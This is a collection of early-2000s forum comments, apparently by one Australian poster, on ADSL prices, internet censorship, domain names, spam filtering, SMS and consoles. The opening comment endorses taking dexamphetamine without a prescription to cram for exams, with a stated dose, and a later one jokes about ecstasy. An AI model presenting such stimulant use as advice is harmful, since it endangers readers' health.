I have the same problem as the top poster, and I used the same remedy as the parent poster...
While I am not ADD/ADHD as far as i know, I take medication for it when I need to get something done, such as a big assignment that i just can't be bothered sitting down to complete, or the last couple of weeks cramming for the final exams.
My preferred compound is Dexamphetamine. Yes it is a controlled substance, No I don't have a pescription. I'll only ever take 2-3 tablets (5mg) at a time, while a friend is prescribed 17 a day (significantly above average...) This drug is a miracle, take them with a drink and sit down and start working slowly on the easiest thing you can find, and next thing you know, everything is done.
Im not trying to condone using someone else's prescriptions to help you get off your ass, BUT as a last resort (I highly recommend the Zen/Buddhism/Martial Arts techniques mentioned FIRST), go to your doctor, tell him/her your situation, and my advice, and if they deem it to be safe, and it helps, go for it.
"apple" as a singular is FAR more likely to be talking about a single apple, which will occur more frequently in the computer sense. If you search for "apples", you'll find you get what you're looking for straight away.
You could even do an "I'm feeling lucky!" search:)
I have always been happy with my AU$100/month (~US$65) 512/128 ADSL connection. And that's still capped at 7gb peak, and 7gb offpeak (midnite-7am + weekends).
By the time this post is submitted, it could have been submitted an additional 51 times in Sweden, and still had about 15 green ones left over for beer!

Censorship laws contribute to youth access to violent pornography
Australian censorship laws contribute to the problem of youth access to pornographic material of the violent and extreme kind, Electronic Frontiers Australia (EFA) said today.
The Australia Institute recently surveyed 200 youths 16-17 years old and found that "teenagers view X-rated videos more than Internet sex sites", although the sale of X-rated videos is illegal in all States.
"Apparently, Australian laws prohibiting sale of X-rated videos have failed to prevent youth access to this type of video. It's even less likely that government attempts to prevent access to content on the world-wide Internet can be successful," said Irene Graham, EFA's Executive Director. "Australian laws already empower the Australian Broadcasting Authority to enforce deletion of any X-rated material found on Australian hosted Internet sites and The Australia Institute's report does not suggest that the laws have failed in this regard."
The Australia Institute said a "distinction needs to be drawn between 'mainstream' pornography (in commercially available X-rated videos) and the proliferation of violent and extreme material on the Internet".
"Australian Internet censorship laws go far beyond the realms of community standards and practicality," said Graham. "Mainstream pornography containing sexually explicit X-rated material without the slightest indication of violence, coercion or demeaning depictions, and also R rated material that is not sexually explicit, is banned in the same way as depictions of rape, bestiality and so on. Mere nudity, like a Playboy magazine centre-fold, is banned. As a result, adults and teenagers seeking mainstream pornography online, visit overseas sites where they are very likely to be exposed to violent and extreme pornography."
EFA said relaxation of Australian Internet censorship laws would be more successful in minimising access to violent and extreme kinds of pornography than would more restrictive legislation.
"The laws should be changed to permit on-line provision of Australian X-rated material, a category that has long prohibited violent and extreme pornography," said Graham. "This would allow the small proportion of Internet users who seek pornographic material online, whether adult or teenage, to access strictly regulated Australian sites. At present, they have no option other than to visit overseas sites that also contain horrific material and that are not, and never will be, subject to Australia's censorship laws."
EFA considers that minors' access to pornography online is a matter of serious concern. However, given the global nature of the Internet, more restrictive Australian laws would be no more effective than current laws.
I personally don't believe MS will sign it, as there may be potential to boot unsigned games from linux. IANAXLD (xbox linux developer), but this may be possible, wether it's LEGAL or not is a different question, but it may make booting games without voiding one's warranty a lot easier. Microsoft won't be happy about this, because then they will not only lose money from the console sales, but won't sell games either.
Yeah, and I have to walk twenty miles to the internet, uphill both ways, carrying each bit on my back with the horse and cart because the wheel hasn't been invented yet.

Well hurry and get your.co.ck domain now!
Nobody ever believes me when I tell them they can register mybigfat.co.ck. Albeit, it is US$150 to set up and US$150 for two years (for non-NZ residents).
I own a Djiboutian (sp?) domain, wicked.dj, and a Christmas Island domain, suc.cx, but i'd like to get an Icelandic one, *.is. The redirection possibilities are endles... this.is/cool this.is/shit you.are.what.you.is slashdot.is/silly etcetc:)
I use Cloudmark SpamNet, a community-based spam filter. In the 6 or so months I've been using it, I have never had a single false positive or negative (mind you, i'm also careful with my addresses and only receive 2-3 per day (over 3 accounts).
When a spam message is submitted to Cloudmark SpamNet, the system generates a secure fingerprint or signature of each message. This unique, but indistinguishable, fingerprint can now be securely shared with all the other SpamNet users to identify the same spam message in their email. This system permits everyone to contribute to the fight against spam and ensures that all email remains private.
To ensure that you never lose email, no messages are ever deleted or blocked. If a message is identified as a known spam message, it is simply tagged as spam and moved to your Spam box. This process allows you to verify that all the messages in the Spam box are really spam.
The SpamNet system has been running smoothly for over a year. During that time, thousands of users have endorsed the system's effectiveness by processing millions of email a day through SpamNet. The proven system will immediately cut your spam dramatically, but you can also choose to turn the spam checking off at anytime. The Cloudmark SpamNet Outlook add-in won't interfere with your email if you choose to discontinue using the service.
So what do you get for your spam contributions to SpamNet? Well, you get free spam filtering. If that sounds good, download the Outlook plugin.
I've only ever questioned non-delivered SMS on a couple of occasions, and each of these times an SMS has 'not arrived' i've found it sitting in my inbox later on... Turns out it arrived while I was sleeping and I have hit receive (and possibly read it) while sleeping:)
I've also noticed the reverse effect on X-Mas and New Years, I received some SMS' from friends with the usual season greetings messages up to seven times (when the sender had only sent it once). Apparently the same thing happened with several messages I sent too.
That month's bill is due any time soon too... *gulp*
FYI, i'm in Australia, receiving sms is free, sending isn't (I pay between 10 and 18c AUD per sms) and on the Virgin mobile network.

Drugs Vs Music in the U.S.
Annual Sales
~$60 billion p.a.
$13.7 billion [2001]
For a group of people with 'no organization', they certainly make a lot of money.
Sounds quite similar to the "CD sales dropped by 12% due to filesharing" statistic released by our mates in the RIAA...
For a second there I thought you meant the Mensa question was the dumb one!
The idea is to test lateral thinking abilities.
that they'd choose CDMA (favour's US) over GSM (favour's EU). I mean, why would anyone want to choose what's best for the Iraqis?

Guess that's final then, Palladium is a Good Thing after all
In the article, there's a link to the pictures gallery.

It has switch for "X-Box Live" compatibility
I've consumed these pills that makes you feel good about everything before... Hardly a new discovery.
I think mine was called Ecstasy though...
I call them "two double-a batteries"
:)
I can normally get at least a good ten hours playtime out of my Gameboy Advance with 2 AA batteries.
These consoles really are ahead of their time
I don't think either the Australian Drivers' Rights Association or the Australian Dust Removalists' Association should be using a .com.au domain name.
.asn.au 2LD for Associations so if one of them can't happily accept adr.asn.au then i think its just tough shit for them.
